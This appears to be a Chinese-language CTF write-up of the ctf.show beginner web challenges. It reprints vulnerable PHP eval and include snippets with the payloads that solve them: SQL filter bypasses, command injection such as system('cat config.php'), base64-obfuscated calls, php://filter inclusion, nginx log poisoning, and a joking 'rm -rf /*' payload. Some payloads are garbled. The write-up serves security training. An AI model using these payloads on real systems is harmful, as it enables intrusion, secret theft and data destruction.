web4
这次又增多了过滤 可以尝试 二次取反绕过 ?id=~~1000
web5
这回有增加了 新的过滤规则 增加了单双引号过滤 继续使用 二次取反绕过 ?id=~~1000
**
web6
继续使用老方法 ?id=~~1000
web7
这里新增了一个过滤 仔细看这里~
也不行了 尝试一下二进制 ?id=0b1111101000
web8
<html>
<head>
<title>ctf.show萌新计划web1</title>
<meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件,key flag 也在里面定义
include("config.php");
# 判断get提交的参数id是否存在
if(isset($\_GET['flag'])){
if(isset($\_GET['flag'])){
$f = $\_GET['flag'];
if($key===$f){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
?>
</body>
</html>
根据提示 阿呆区了埃塞尔比亚(这么哪里???) 感觉是要删库跑路了; 所以payload 为:?flag=rm -rf /*
web9
<?php
# flag in config.php
include("config.php");
if(isset($\_GET['c'])){
$c = $\_GET['c'];
if(preg_match("/system|exec|highlight/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
FLAG
在 config.php
中 如果执行了if
里面得参数 就会显示FLAG
直接构造Payload:?c=system('cat config.php');
然后F12 查看
web10
<?php
# flag in config.php
include("config.php");
if(isset($\_GET['c'])){
$c = $\_GET['c'];
if(!preg_match("/system|exec|highlight/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
这里做了过滤前面有个感叹号所以用上面得方法访问得话就 没有FLAG 需要从新构造Payload :?c=passthru('cat config.php');
F12查看
常见的命令执行函数:
system()
passthru()
exec()
shell\_exec()
popen()
proc\_open()
pcntl\_exec()
web11
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg\_match("/system|exec|highlight|cat/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight\_file(__FILE__);
}
?>
注意这里 对cat
命令进行了过滤 所以刚刚那两种方法都不行了,但是linux当中还有很多显示文本的命令。
这里可以参考:https://blog.csdn.net/qq_41274349/article/details/123707765
web12
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg\_match("/system|exec|highlight|cat|\.|php|config/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight\_file(__FILE__);
}
?>
这里新增得过滤规则是 php
和config
可以base64
编码绕过
构造payload:?c=$a=base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);,
得到flag 然后F12 查看。
web13
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg\_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight\_file(__FILE__);
}
?>
这次又新增了过滤规则 分号;就尝试了一下passthru("ca''t")?>
,发现没有出错,然后这样子只需要想办法把config.php文件给包含进去就好了。然后就百度了一下,了解到了在Linux中,`` 作用是优先执行里面的内容,再把里面的内容传给外面的语句。
passthru("ca''t
ls")?>
web14
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg\_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight\_file(__FILE__);
}
?>
这里又新增了(
又对括号进行了过滤 直接构造payload为:
include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=config.php
得到一串base64
编码的字符串,解码得到flag。
web15
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg\_match("/system|\\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight\_file(__FILE__);
}
?>
这里又新增了>和=
又对括号进行了过滤 直接构造payload为:
include $_GET[a];&a=php://filter/read=convert.base64-encode/resource=config.php
得到一串base64
编码的字符串,解码得到flag。
web16
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e"){
echo $flag;
}else{
echo "nonono!";
}
}else{
highlight\_file(__FILE__);
}
?>
突然恍然大悟!! c的传参和ctfshow 一起的值是md5 所以c的参数为: 36d 构造Payload :?c=36d
MD5解密网站:https://www.somd5.com/
web17
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg\_match("/php/i",$c)){
include($c);
}
}else{
highlight\_file(__FILE__);
}
?>
过滤了php
这里是一个日志注入漏洞 nginx
日志包含 默认路径:/var/log/nginx/access.log
User-Agent当中包含命令,查看当前路径下的文件,发现有36d.php
自己菜刀连不上 这里出了点问题 直接呜呜呜 还是自己太菜了